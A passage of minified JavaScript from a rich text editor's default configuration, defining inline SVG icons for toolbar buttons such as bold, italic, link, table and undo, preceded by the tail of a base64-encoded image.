xFee/jGW2DqPzj8JYH9/Tf8h2/9tx//260/+xrB7N++9p9+1v6zf/oiwazfph+I/PdfN39jJl0V3zB84zqaMdd9+4aZ3DOWxYclz4BrWLIAn6G+cP+GDY9+gYL3r541a8NLUnYX7OjnbJCyWXPumzNHCu+albJo0Yb7ZOyu2Xc+eiH2tBJLkbEvPL14tcxuz6xZLz1zJ5XrPbPue/SlPVRJTq0GWaYYc+rUnpeeYaavNn0LLr+1ScIyIf0WeBNZfWZmZr3wxrN7PGil3nMPT3+fWeD5PffRU5CJP/5+k0eEnk3cx+5NmzJRa9iduWmT0Czurd+UuRe8ZW6qJ85T3Vu/9x8Y5h/21kvOXYUM0sss+2ei//otof/i4G9VakGq3wrwyf95YN699feCfwKufWftvPll995bRsIte558YOGKsrKyelaA7Nq7n7x77sJZwFICd71+97JZszaRcMvaJ98FESyeXyaxXHv3Aw/coXl8y5Yt3xPh4z7f5gce2HL3HXev/R4f/NeBx9cGKrfcvRZ8v4WDT1Y+effda9dsWQB2YhfwkNOWtcBy7RZphfx6y9pla7mUZgr6HkydbjOvAV/IHyw/GQoGFYZr+mC7bOyufMWK7tBQTzp9sc9WhWGuqIs/7e2KW37+Trq7pBJdbcvzbEvSfJ5vW6J0/m3pamv+YokwXPWaRBguvjDkngE1/7XXVvHtiAAZCJevQnrttfUCfJZ9lg++ioMvAogt14vwWQCxQJqLBfjas0gkhIFQnOwqEYKPbOqLMLlVfN4RXIzjXC9CWKRnl2tSURwkpEoJyrn+RZ69yGcTcRh0PUlo/T+Et0wY7RJUTQAAAABJRU5ErkJggg=='; RTE_DefaultConfig.svgCode_default = '<svg viewBox="2 1 20 20"><path d="M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2zm0 15l-5-2.18L7 18V5h10v13z"/></svg>'; RTE_DefaultConfig.svgCode_empty = '<svg viewBox="0 0 20 20"></svg>'; RTE_DefaultConfig.svgCode_close = '<svg width="24" height="24"><path d="M17.953 7.453L13.422 12l4.531 4.547-1.406 1.406L12 13.422l-4.547 4.531-1.406-1.406L10.578 12 6.047 7.453l1.406-1.406L12 10.578l4.547-4.531z" fill-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_DialogClose = '<svg viewBox="0 0 18 18"><path fill="currentColor" d="M11.5,9.5l5-5c0.2-0.2,0.2-0.6-0.1-0.9l-1-1c-0.3-0.3-0.7-0.3-0.9-0.1l-5,5l-5-5C4.3,2.3,3.9,2.4,3.6,2.6l-1,1 C2.4,3.9,2.3,4.3,2.5,4.5l5,5l-5,5c-0.2,0.2-0.2,0.6,0.1,0.9l1,1c0.3,0.3,0.7,0.3,0.9,0.1l5-5l5,5c0.2,0.2,0.6,0.2,0.9-0.1l1-1 c0.3-0.3,0.3-0.7,0.1-0.9L11.5,9.5z"/></svg>'; RTE_DefaultConfig.svgCode_bold = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M8.21 13c2.106 0 3.412-1.087 3.412-2.823 0-1.306-.984-2.283-2.324-2.386v-.055a2.176 2.176 0 001.852-2.14c0-1.51-1.162-2.46-3.014-2.46H3.843V13H8.21zM5.908 4.674h1.696c.963 0 1.517.451 1.517 1.244 0 .834-.629 1.32-1.73 1.32H5.908V4.673zm0 6.788V8.598h1.73c1.217 0 1.88.492 1.88 1.415 0 .943-.643 1.449-1.832 1.449H5.907z"/></svg>'; RTE_DefaultConfig.svgCode_italic = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M7.991 11.674L9.53 4.455c.123-.595.246-.71 1.347-.807l.11-.52H7.211l-.11.52c1.06.096 1.128.212 1.005.807L6.57 11.674c-.123.595-.246.71-1.346.806l-.11.52h3.774l.11-.52c-1.06-.095-1.129-.211-1.006-.806z"/></svg>'; RTE_DefaultConfig.svgCode_underline = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M5.313 3.136h-1.23V9.54c0 2.105 1.47 3.623 3.917 3.623s3.917-1.518 3.917-3.623V3.136h-1.23v6.323c0 1.49-.978 2.57-2.687 2.57-1.709 0-2.687-1.08-2.687-2.57V3.136z"/><path fill-rule="evenodd" d="M12.5 15h-9v-1h9v1z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_link = '<svg viewBox="0 0 20 20" fill="#5F6368"><path d="M5,21H19V19H5V21M12,17A6,6 0 0,0 18,11V3H15.5V11A3.5,3.5 0 0,1 12,14.5A3.5,3.5 0 0,1 8.5,11V3H6V11A6,6 0 0,0 12,17Z"/></svg>'; RTE_DefaultConfig.svgCode_removeformat = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M15,6.9L9.5,1.4L1.3,9.6c-0.5,0.5-0.5,1.2,0,1.8l2.8,2.7H12v-1H9.1L15,6.9z M13.6,6.9l-4.7,4.8L4.8,7.6l4.8-4.8C9.5,2.8,13.6,6.9,13.6,6.9z M4.5,13.1L2,10.7c-0.1-0.1-0.1-0.2,0-0.3l2-2l4.2,4.2l-0.5,0.6C7.7,13.1,4.5,13.1,4.5,13.1z"/></svg>'; RTE_DefaultConfig.svgCode_justifyleft = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2 12.5a.5.5 0 01.5-.5h7a.5.5 0 010 1h-7a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd" /></svg>'; RTE_DefaultConfig.svgCode_justifycenter = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M4 12.5a.5.5 0 01.5-.5h7a.5.5 0 010 1h-7a.5.5 0 01-.5-.5zm-2-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm2-3a.5.5 0 01.5-.5h7a.5.5 0 010 1h-7a.5.5 0 01-.5-.5zm-2-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_justifyright = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M6 12.5a.5.5 0 01.5-.5h7a.5.5 0 010 1h-7a.5.5 0 01-.5-.5zm-4-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"//></svg>'; RTE_DefaultConfig.svgCode_justifyfull = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2 12.5a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_justify = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M4 14.5a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm0-3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_indent = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2 3.5a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm.646 2.146a.5.5 0 01.708 0l2 2a.5.5 0 010 .708l-2 2a.5.5 0 01-.708-.708L4.293 8 2.646 6.354a.5.5 0 010-.708zM7 6.5a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm-5 3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_outdent = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M2 3.5a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5zm10.646 2.146a.5.5 0 01.708.708L11.707 8l1.647 1.646a.5.5 0 01-.708.708l-2-2a.5.5 0 010-.708l2-2zM2 6.5a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h6a.5.5 0 010 1h-6a.5.5 0 01-.5-.5zm0 3a.5.5 0 01.5-.5h11a.5.5 0 010 1h-11a.5.5 0 01-.5-.5z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_insertorderedlist = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M5 11.5a.5.5 0 01.5-.5h9a.5.5 0 010 1h-9a.5.5 0 01-.5-.5zm0-4a.5.5 0 01.5-.5h9a.5.5 0 010 1h-9a.5.5 0 01-.5-.5zm0-4a.5.5 0 01.5-.5h9a.5.5 0 010 1h-9a.5.5 0 01-.5-.5z" clip-rule="evenodd"/><path d="M1.713 11.865v-.474H2c.217 0 .363-.137.363-.317 0-.185-.158-.31-.361-.31-.223 0-.367.152-.373.31h-.59c.016-.467.373-.787.986-.787.588-.002.954.291.957.703a.595.595 0 01-.492.594v.033a.615.615 0 01.569.631c.003.533-.502.8-1.051.8-.656 0-1-.37-1.008-.794h.582c.008.178.186.306.422.309.254 0 .424-.145.422-.35-.002-.195-.155-.348-.414-.348h-.3zm-.004-4.699h-.604v-.035c0-.408.295-.844.958-.844.583 0 .96.326.96.756 0 .389-.257.617-.476.848l-.537.572v.03h1.054V9H1.143v-.395l.957-.99c.138-.142.293-.304.293-.508 0-.18-.147-.32-.342-.32a.33.33 0 00-.342.338v.041zM2.564 5h-.635V2.924h-.031l-.598.42v-.567l.629-.443h.635V5z"/></svg>'; RTE_DefaultConfig.svgCode_insertunorderedlist = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M5 11.5a.5.5 0 01.5-.5h9a.5.5 0 010 1h-9a.5.5 0 01-.5-.5zm0-4a.5.5 0 01.5-.5h9a.5.5 0 010 1h-9a.5.5 0 01-.5-.5zm0-4a.5.5 0 01.5-.5h9a.5.5 0 010 1h-9a.5.5 0 01-.5-.5zm-3 1a1 1 0 100-2 1 1 0 000 2zm0 4a1 1 0 100-2 1 1 0 000 2zm0 4a1 1 0 100-2 1 1 0 000 2z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_insertblockquote = '<svg viewBox="-3 -3 40 40" fill="#5F6368"><path d="M12,15H6.11A9,9,0,0,1,10,8.86l1.79-1.2L10.69,6,8.9,7.2A11,11,0,0,0,4,16.35V23a2,2,0,0,0,2,2h6a2,2,0,0,0,2-2V17A2,2,0,0,0,12,15Z"/><path d="M26,15H20.11A9,9,0,0,1,24,8.86l1.79-1.2L24.7,6,22.9,7.2A11,11,0,0,0,18,16.35V23a2,2,0,0,0,2,2h6a2,2,0,0,0,2-2V17A2,2,0,0,0,26,15Z"/></svg>'; RTE_DefaultConfig.svgCode_code = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M5.854 4.146a.5.5 0 010 .708L2.707 8l3.147 3.146a.5.5 0 01-.708.708l-3.5-3.5a.5.5 0 010-.708l3.5-3.5a.5.5 0 01.708 0zm4.292 0a.5.5 0 000 .708L13.293 8l-3.147 3.146a.5.5 0 00.708.708l3.5-3.5a.5.5 0 000-.708l-3.5-3.5a.5.5 0 00-.708 0z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_inserttable = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M2,2v12h13V2H2z M6,13H3v-2h3V13z M6,10H3V8h3V10z M6,7H3V5h3V7z M10,13H7v-2h3V13z M10,10H7V8h3V10z M10,7H7V5h3V7z M14,13h-3v-2h3V13z M14,10h-3V8h3V10z M14,7h-3V5h3V7z"/></svg>'; RTE_DefaultConfig.svgCode_toggleborder = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M3,4h1v1H3V4z M3,3h1V2H3V3z M5,3h1V2H5V3z M7,3h1V2H7V3z M9,3h1V2H9V3z M11,3h1V2h-1V3z M13,3h1V2h-1V3z M13,5h1V4h-1V5z M3,9h1V8H3V9z M3,7h1V6H3V7z M3,13h1v-1H3V13z M3,11h1v-1H3V11z M5,13h1v-1H5V13z M7,13h1v-1H7V13z M9,13h1v-1H9 V13z M11,13h1v-1h-1V13z M13,7h1V6h-1V7z M13,9h1V8h-1V9z M13,11h1v-1h-1V11z M13,13h1v-1h-1V13z"/></svg>'; RTE_DefaultConfig.svgCode_subscript = '<svg viewBox="-3 -3 24 24" fill="#5F6368"><path d="M7.4,9l3.6,3.6L9.6,14L6,10.4L2.4,14L1,12.6L4.6,9L1,5.4L2.4,4L6,7.6L9.6,4L11,5.4L7.4,9z M15.3,16.7l1.1-1.1c0.2-0.2,0.4-0.4,0.5-0.6c0.2-0.2,0.3-0.4,0.4-0.6c0.1-0.2,0.2-0.4,0.3-0.6c0.1-0.2,0.1-0.4,0.1-0.7c0-0.3,0-0.6-0.2-0.8c-0.1-0.2-0.3-0.5-0.5-0.6c-0.2-0.2-0.5-0.3-0.7-0.4c-0.6-0.2-1.3-0.2-1.9,0c-0.3,0.1-0.5,0.3-0.8,0.5c-0.2,0.2-0.4,0.5-0.5,0.7c-0.1,0.3-0.2,0.5-0.2,0.8l0,0.2h1.5l0-0.2c0-0.1,0-0.3,0.1-0.4c0-0.1,0.1-0.2,0.2-0.3c0.1-0.1,0.2-0.1,0.3-0.2c0.2-0.1,0.5-0.1,0.7,0c0.1,0,0.2,0.1,0.2,0.2c0.1,0.1,0.1,0.2,0.1,0.2c0,0.1,0.1,0.2,0.1,0.3c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.3c-0.1,0.1-0.2,0.3-0.3,0.4c-0.1,0.2-0.3,0.3-0.4,0.5l-2.2,2.4V18H18v-1.3H15.3z"/></svg>'; RTE_DefaultConfig.svgCode_superscript = '<svg viewBox="-3 -3 24 24" fill="#5F6368"><path d="M7.4,9l3.6,3.6L9.6,14L6,10.4L2.4,14L1,12.6L4.6,9L1,5.4L2.4,4L6,7.6L9.6,4L11,5.4L7.4,9z M15.3,5.7l1.1-1.1c0.2-0.2,0.4-0.4,0.5-0.6c0.2-0.2,0.3-0.4,0.4-0.6c0.1-0.2,0.2-0.4,0.3-0.6c0.1-0.2,0.1-0.4,0.1-0.7c0-0.3,0-0.6-0.2-0.8c-0.1-0.2-0.3-0.5-0.5-0.6c-0.2-0.2-0.5-0.3-0.7-0.4c-0.6-0.2-1.3-0.2-1.9,0c-0.3,0.1-0.5,0.3-0.8,0.5c-0.2,0.2-0.4,0.5-0.5,0.7c-0.1,0.3-0.2,0.5-0.2,0.8l0,0.2h1.5l0-0.2c0-0.1,0-0.3,0.1-0.4c0-0.1,0.1-0.2,0.2-0.3c0.1-0.1,0.2-0.1,0.3-0.2c0.2-0.1,0.5-0.1,0.7,0c0.1,0,0.2,0.1,0.2,0.2c0.1,0.1,0.1,0.2,0.1,0.2c0,0.1,0.1,0.2,0.1,0.3c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.3c-0.1,0.1-0.2,0.3-0.3,0.4c-0.1,0.2-0.3,0.3-0.4,0.5l-2.2,2.4V7H18V5.7H15.3z"/> </svg>'; RTE_DefaultConfig.svgCode_strike = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M8.527 13.164c-2.153 0-3.589-1.107-3.705-2.81h1.23c.144 1.06 1.129 1.703 2.544 1.703 1.34 0 2.31-.705 2.31-1.675 0-.827-.547-1.374-1.914-1.675L8.046 8.5h3.45c.468.437.675.994.675 1.697 0 1.826-1.436 2.967-3.644 2.967zM6.602 6.5H5.167a2.776 2.776 0 01-.099-.76c0-1.627 1.436-2.768 3.48-2.768 1.969 0 3.39 1.175 3.445 2.85h-1.23c-.11-1.08-.964-1.743-2.25-1.743-1.23 0-2.18.602-2.18 1.607 0 .31.083.581.27.814z"/><path fill-rule="evenodd" d="M15 8.5H1v-1h14v1z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_insertimage = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M14.002 2h-12a1 1 0 00-1 1v10a1 1 0 001 1h12a1 1 0 001-1V3a1 1 0 00-1-1zm-12-1a2 2 0 00-2 2v10a2 2 0 002 2h12a2 2 0 002-2V3a2 2 0 00-2-2h-12z" clip-rule="evenodd"/><path fill="#666666" d="M10.648 7.646a.5.5 0 01.577-.093L15.002 9.5V14h-14v-2l2.646-2.354a.5.5 0 01.63-.062l2.66 1.773 3.71-3.71z"/><path fill-rule="evenodd" d="M4.502 7a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_paragraph = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M13.9,1.6H5.7c-2.3,0-4.1,1.6-4.1,3.6s1.8,3.6,4.1,3.6v5.1h1.2V2.6h2.9v11.2H11V2.6h2.9V1.6z M5.7,7.7 c-1.6,0-2.9-1.1-2.9-2.6s1.3-2.6,2.9-2.6V7.7z"/></svg>'; RTE_DefaultConfig.svgCode_fullscreenenter = '<svg viewBox="-3 -3 22 22" fill="#5F6368"><path fill-rule="evenodd" d="M1.5 1a.5.5 0 00-.5.5v4a.5.5 0 01-1 0v-4A1.5 1.5 0 011.5 0h4a.5.5 0 010 1h-4zM10 .5a.5.5 0 01.5-.5h4A1.5 1.5 0 0116 1.5v4a.5.5 0 01-1 0v-4a.5.5 0 00-.5-.5h-4a.5.5 0 01-.5-.5zM.5 10a.5.5 0 01.5.5v4a.5.5 0 00.5.5h4a.5.5 0 010 1h-4A1.5 1.5 0 010 14.5v-4a.5.5 0 01.5-.5zm15 0a.5.5 0 01.5.5v4a1.5 1.5 0 01-1.5 1.5h-4a.5.5 0 010-1h4a.5.5 0 00.5-.5v-4a.5.5 0 01.5-.5z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_fullscreenexit = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M5.5 0a.5.5 0 01.5.5v4A1.5 1.5 0 014.5 6h-4a.5.5 0 010-1h4a.5.5 0 00.5-.5v-4a.5.5 0 01.5-.5zm5 0a.5.5 0 01.5.5v4a.5.5 0 00.5.5h4a.5.5 0 010 1h-4A1.5 1.5 0 0110 4.5v-4a.5.5 0 01.5-.5zM0 10.5a.5.5 0 01.5-.5h4A1.5 1.5 0 016 11.5v4a.5.5 0 01-1 0v-4a.5.5 0 00-.5-.5h-4a.5.5 0 01-.5-.5zm10 1a1.5 1.5 0 011.5-1.5h4a.5.5 0 010 1h-4a.5.5 0 00-.5.5v4a.5.5 0 01-1 0v-4z" clip-rule="evenodd"/>'; RTE_DefaultConfig.svgCode_insertgallery = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M12.002 4h-10a1 1 0 00-1 1v8a1 1 0 001 1h10a1 1 0 001-1V5a1 1 0 00-1-1zm-10-1a2 2 0 00-2 2v8a2 2 0 002 2h10a2 2 0 002-2V5a2 2 0 00-2-2h-10z" clip-rule="evenodd"/><path fill="#666666" d="M10.648 8.646a.5.5 0 01.577-.093l1.777 1.947V14h-12v-1l2.646-2.354a.5.5 0 01.63-.062l2.66 1.773 3.71-3.71z"/><path fill-rule="evenodd" d="M4.502 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM4 2h10a1 1 0 011 1v8a1 1 0 01-1 1v1a2 2 0 002-2V3a2 2 0 00-2-2H4a2 2 0 00-2 2h1a1 1 0 011-1z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_insertvideo = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M2.667 3.5c-.645 0-1.167.522-1.167 1.167v6.666c0 .645.522 1.167 1.167 1.167h6.666c.645 0 1.167-.522 1.167-1.167V4.667c0-.645-.522-1.167-1.167-1.167H2.667zM.5 4.667C.5 3.47 1.47 2.5 2.667 2.5h6.666c1.197 0 2.167.97 2.167 2.167v6.666c0 1.197-.97 2.167-2.167 2.167H2.667A2.167 2.167 0 01.5 11.333V4.667z" clip-rule="evenodd"/> <path fill-rule="evenodd" d="M11.25 5.65l2.768-1.605a.318.318 0 01.482.263v7.384c0 .228-.26.393-.482.264l-2.767-1.605-.502.865 2.767 1.605c.859.498 1.984-.095 1.984-1.129V4.308c0-1.033-1.125-1.626-1.984-1.128L10.75 4.785l.502.865z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_insertlink = '<svg viewBox="0 0 24 24" fill="#5F6368"><path d="M0 0h24v24H0V0z" fill="none"/><path d="M3.9 12c0-1.71 1.39-3.1 3.1-3.1h4V7H7c-2.76 0-5 2.24-5 5s2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1zM8 13h8v-2H8v2zm9-6h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1s-1.39 3.1-3.1 3.1h-4V17h4c2.76 0 5-2.24 5-5s-2.24-5-5-5z"/></svg>'; RTE_DefaultConfig.svgCode_unlink = '<svg viewBox="0 0 24 24" fill="#5F6368"><path d="M0 0h24v24H0V0z" fill="none"/><path d="M14.39 11L16 12.61V11zM17 7h-4v1.9h4c1.71 0 3.1 1.39 3.1 3.1 0 1.27-.77 2.37-1.87 2.84l1.4 1.4C21.05 15.36 22 13.79 22 12c0-2.76-2.24-5-5-5zM2 4.27l3.11 3.11C3.29 8.12 2 9.91 2 12c0 2.76 2.24 5 5 5h4v-1.9H7c-1.71 0-3.1-1.39-3.1-3.1 0-1.59 1.21-2.9 2.76-3.07L8.73 11H8v2h2.73L13 15.27V17h1.73l4.01 4.01 1.41-1.41L3.41 2.86 2 4.27z"/></svg>'; RTE_DefaultConfig.svgCode_lcase = '<svg viewBox="0 0 24 24" fill="#5F6368"><path d="M4,12h3v6h2v-6h3v-2H4V12L4,12z M10,6v2h4v10h2V8h4V6H10L10,6z"/></svg>'; RTE_DefaultConfig.svgCode_ucase = '<svg viewBox="0 0 24 24" fill="#5F6368"><path d="M12.4,6v2h3.2v10h1.6V8h3.2V6H12.4L12.4,6z M3.5,6v2h3.2v10h1.6V8h3.2V6H3.5L3.5,6z"/></svg>'; RTE_DefaultConfig.svgCode_copy = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M10.707 3h-1l-3-3H1v13h4v3h10V7.293L10.707 3zM11 4.707L13.293 7H11V4.707zM2 12V1h4.293l2 2H5v9H2zm4 3V4h4v4h4v7H6z"/></svg>'; RTE_DefaultConfig.svgCode_paste = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M13 6v-4h-4c0-1.103-.897-2-2-2s-2 .897-2 2h-4v13h6v1h8v-10h-2zm-7-3v-1c0-.551.449-1 1-1s1 .449 1 1v1h2v1h-6v-1h2zm-4 11v-11h1v2h8v-2h1v3h-5v8h-5zm12 1h-6v-8h6v8z"/></svg>'; RTE_DefaultConfig.svgCode_pastetext = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M13 6v-4h-4c0-1.103-.897-2-2-2s-2 .897-2 2h-4v13h6v1h8v-10h-2zm-7-3v-1c0-.551.449-1 1-1s1 .449 1 1v1h2v1h-6v-1h2zm-4 11v-11h1v2h8v-2h1v3h-5v8h-5zm12 1h-6v-8h6v8z"/><rect x="9" y="11.7" width="4.1" height="0.8"/><rect x="9" y="8.9" width="4.1" height="0.8"/></svg>'; RTE_DefaultConfig.svgCode_pasteword = '<svg viewBox="-3 -3 24 24" fill="#5F6368"><g fill="none" fill-rule="evenodd"><path fill="#4285F4" fill-rule="nonzero" d="M16 0H2C.9 0 0 .9 0 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V2c0-1.1-.9-2-2-2zm-3.5 14H11L9 6.5 7 14H5.5L3.1 4h1.7l1.54 7.51L8.3 4h1.4l1.97 7.51L13.2 4h1.7l-2.4 10z"/><path d="M-3-3h24v24H-3V-3zm0 0h24v24H-3V-3z"/></svg>'; RTE_DefaultConfig.svgCode_pasteauto = RTE_DefaultConfig.svgCode_paste; RTE_DefaultConfig.svgCode_save = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M27.71,9.29l-5-5A1,1,0,0,0,22,4H6A2,2,0,0,0,4,6V26a2,2,0,0,0,2,2H26a2,2,0,0,0,2-2V10A1,1,0,0,0,27.71,9.29ZM12,6h8v4H12Zm8,20H12V18h8Zm2,0V18a2,2,0,0,0-2-2H12a2,2,0,0,0-2,2v8H6V6h4v4a2,2,0,0,0,2,2h8a2,2,0,0,0,2-2V6.41l4,4V26Z"/></svg>'; RTE_DefaultConfig.svgCode_load = '<svg viewBox="-2 -2 20 20"><g><path fill="#f6f6f6" d="M16 1H3v5H0v9h13v-5h3z"/></g><g id="icon_x5F_bg"><path fill="none" d="M11 8H2v5h9V8zm-2 3H4v-1h5v1z"/><path fill="#424242" d="M4 10h5v1H4zM4 2v4h1V3h9v5h-1v1h2V2z"/><path fill="#424242" d="M1 14h11V7H1v7zm1-6h9v5H2V8zM7 5h5v1H7z"/></g><g id="icon_x5F_fg"><path fill="none" d="M4 10h5v1H4z"/><path fill="#f0eff1" d="M5 3v3h2V5h5v1h1v2h1V3zM2 13h9V8H2v5zm2-3h5v1H4v-1z"/></g></svg>'; RTE_DefaultConfig.svgCode_fontname = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M5,6h1L4,1H3L1,6h1l0.4-1h2.2L5,6z M2.8,4l0.7-1.8L4.2,4H2.8z M15,15H5v-1h10V15z M14.4,12.8c-0.2,0-0.4-0.2-0.4-0.4V5h-0.3L7,11.7c0,0-1,1-1.5,1V13H8v-0.3H7.6c-0.2,0-0.5-0.4,0.2-1L9,10.5h3v1.9c0,0.2-0.2,0.4-0.4,0.4c0,0,0,0,0,0h-0.4V13h3.5v-0.3H14.4z M9.5,10L12,7.5V10H9.5z M2.4,12.4l-0.7-0.7l10-10l0.7,0.7L2.4,12.4z"/></svg>'; RTE_DefaultConfig.svgCode_fontsize = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><polygon points="7.9,4.2 5.6,1.8 3.2,4.2 2.8,3.7 5.6,0.9 8.4,3.7 "/><polygon points="5.6,8.7 2.8,5.9 3.2,5.5 5.6,7.8 7.9,5.5 8.4,5.9 "/><path d="M15,14.6l-0.8-2.5H9.8L9,14.6H7.5l3.7-11h1.7l3.7,11H15z M13.7,10.6l-1.7-5l-1.7,5H13.7z"/></svg>'; RTE_DefaultConfig.svgCode_redo = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M9,15c-2.5,0-4,1.5-4,4c0,2.5,1.5,4,4,4h5v2H9c-3.5,0-6-2.5-6-6c0-3.5,2.5-6,6-6h16.2l-4-4l1.4-1.5L29,14 l-6.4,6.4L21.2,19l4-4H9z"/></svg>'; RTE_DefaultConfig.svgCode_undo = '<svg viewBox="-2 -2 36 36" fill="#5F6368"><path d="M23,15c2.5,0,4,1.5,4,4c0,2.5-1.5,4-4,4h-5v2h5c3.5,0,6-2.5,6-6c0-3.5-2.5-6-6-6H6.8l4-4L9.4,7.6L3,14 l6.4,6.4l1.4-1.4l-4-4H23z"/></svg>'; RTE_DefaultConfig.svgCode_delete = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path d="M14.3,2.1C12.1,2.6,10.2,3.6,8.5,5C7,3.9,4.9,1.5,3.1,2.3C2.4,2.5,2,3.1,2.3,3.7c1.3,0.9,3.3,1.7,4.7,2.7C5.5,8,0.8,13.2,4.8,13.9c1.1-2,2.1-4.3,3.7-6.1c1.9,1.5,3.5,4,5,6c0.2,0.2,0.2,0.1,0.2-0.2c-1.2-8.2-7.7-5.1,1.1-11.4C14.6,2.1,14.5,2.1,14.3,2.1L14.3,2.1z"/></svg>'; RTE_DefaultConfig.svgCode_find = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M10.442 10.442a1 1 0 011.415 0l3.85 3.85a1 1 0 01-1.414 1.415l-3.85-3.85a1 1 0 010-1.415z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M6.5 12a5.5 5.5 0 100-11 5.5 5.5 0 000 11zM13 6.5a6.5 6.5 0 11-13 0 6.5 6.5 0 0113 0z" clip-rule="evenodd"/></svg>'; RTE_DefaultConfig.svgCode_preview = '<svg viewBox="-2 -2 20 20" fill="#5F6368"><path fill-rule="evenodd" d="M16 8s-3-5.5-8-5.5S0 8 0 8s3 5.5 8 5.5S16 8 16 8zM1.173 8a13.134 13.134 0 001.66 2.043C4.12 11.332 5.88 12.5 8 12.5c2.12 0 3.879-1.168 5.168-2.457A13.134 13.134 0 0014.828 8a13.133 13.133 0 00-1.66-2.043C11.879 4.668 10.119 3.5 8 3.5c-2.12 0-3.879 1.168-5.168 2.457A13.133 13.133 